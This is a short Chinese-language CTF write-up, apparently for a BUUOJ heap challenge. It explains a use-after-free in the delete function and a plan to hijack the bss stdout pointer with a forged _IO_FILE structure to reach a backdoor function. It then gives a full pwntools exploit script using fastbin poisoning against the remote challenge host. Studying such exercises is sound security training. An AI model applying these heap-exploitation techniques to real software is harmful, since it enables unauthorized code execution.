首先,检查一下程序的保护机制
然后,我们用IDA分析一下,程序里没有show功能
有一个后门函数
Delete功能存在UAF,但是delete功能只能用3次,因此劫持_IO_2_1_stdout来泄露libc地址次数不够用。
由于got表也不可写,那么我们可以劫持bss段上的stdout指针,将其指向我们伪造的_IO_FILE结构体处,就可以调用backdoor函数了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
sh = remote('node3.buuoj.cn',29314) backdoor = 0x00000000004008E3
def add(index,content): sh.sendlineafter('Choice:','1') sh.sendlineafter('Index:',str(index)) sh.sendlineafter('Content:',content)
def edit(index,content): sh.sendlineafter('Choice:','2') sh.sendlineafter('Index:',str(index)) sh.sendlineafter('Content:',content)
def delete(index): sh.sendlineafter('Choice:','3') sh.sendlineafter('Index:',str(index))
fake_chunk_in_bss = 0x0000000000601FF5 add(0,'a'*0x60) delete(0) edit(0,p64(fake_chunk_in_bss)) add(1,'a'*0x60)
payload = p64(fake_chunk_in_bss + 0xB) payload += p64(0) payload += p64(fake_chunk_in_bss + 0x10) payload += '\x00'*0x3 + p64(fake_chunk_in_bss - 0x78) + p64(backdoor) + '\x00'*0x25 + p64(0x601FF0) add(2,payload)
sh.interactive()
|